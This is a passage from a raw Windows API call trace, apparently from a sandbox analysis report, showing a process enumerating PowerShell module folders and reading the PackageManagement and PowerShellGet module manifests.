Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0113.863] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0113.863] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0113.866] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0113.873] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0113.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeeac) returned 1 [0113.874] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0113.874] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0113.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x59eec5c | out: lpFindFileData=0x59eec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fe578 [0113.874] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.874] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0113.874] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0113.874] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.874] FindClose (in: hFindFile=0x4fe578 | out: hFindFile=0x4fe578) returned 1 [0113.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec1c) returned 1 [0113.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee7c) returned 1 [0113.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0113.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0113.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0113.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0113.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0113.875] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0113.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0113.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0113.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0113.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0113.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0113.875] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0113.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eebfc) returned 1 [0113.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x59eeec0 | out: lpFileInformation=0x59eeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebf8) returned 1 [0113.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeeac) returned 1 [0113.876] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0113.876] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0113.876] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x59eec5c | out: lpFindFileData=0x59eec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fe578 [0113.876] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.876] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.876] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.876] FindClose (in: hFindFile=0x4fe578 | out: hFindFile=0x4fe578) returned 1 [0113.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec1c) returned 1 [0113.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee7c) returned 1 [0113.876] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.876] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec00) returned 1 [0113.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59eeec4 | out: lpFileInformation=0x59eeec4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebfc) returned 1 [0113.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec24) returned 1 [0113.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x237d748 | out: lpFileInformation=0x237d748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec20) returned 1 [0113.879] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0113.879] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0113.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eed8c) returned 1 [0113.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0113.879] GetFileType (hFile=0x3c8) returned 0x1 [0113.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eed88) returned 1 [0113.879] GetFileType (hFile=0x3c8) returned 0x1 [0113.879] GetACP () returned 0x4e4 [0113.882] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x0 [0113.882] ReadFile (in: hFile=0x3c8, lpBuffer=0x237ea20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x237ea20*, lpNumberOfBytesRead=0x59eedf4*=0x8f9, lpOverlapped=0x0) returned 1 [0113.883] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x8f9 [0113.883] ReadFile (in: hFile=0x3c8, lpBuffer=0x237deb9, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x237deb9*, lpNumberOfBytesRead=0x59eedf4*=0x0, lpOverlapped=0x0) returned 1 [0113.883] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x8f9 [0113.883] ReadFile (in: hFile=0x3c8, lpBuffer=0x237ea20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x237ea20*, lpNumberOfBytesRead=0x59eedf4*=0x0, lpOverlapped=0x0) returned 1 [0113.884] CloseHandle (hObject=0x3c8) returned 1 [0113.927] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0113.928] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0113.928] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0113.928] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0113.928] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0113.928] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0113.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeeac) returned 1 [0113.928] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0113.928] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0113.928] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x59eec5c | out: lpFindFileData=0x59eec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fe578 [0113.929] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.929] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.929] FindNextFileW (in: hFindFile=0x4fe578, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.929] FindClose (in: hFindFile=0x4fe578 | out: hFindFile=0x4fe578) returned 1 [0113.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec1c) returned 1 [0113.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eee7c) returned 1 [0113.929] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.929] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec00) returned 1 [0113.929] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59eeec4 | out: lpFileInformation=0x59eeec4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eebfc) returned 1 [0113.961] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.961] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.961] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.961] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eec24) returned 1 [0113.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x238d740 | out: lpFileInformation=0x238d740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0113.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eec20) returned 1 [0113.961] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0113.961] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0113.962] SetThreadErrorMode (dwNewMode=0x1, 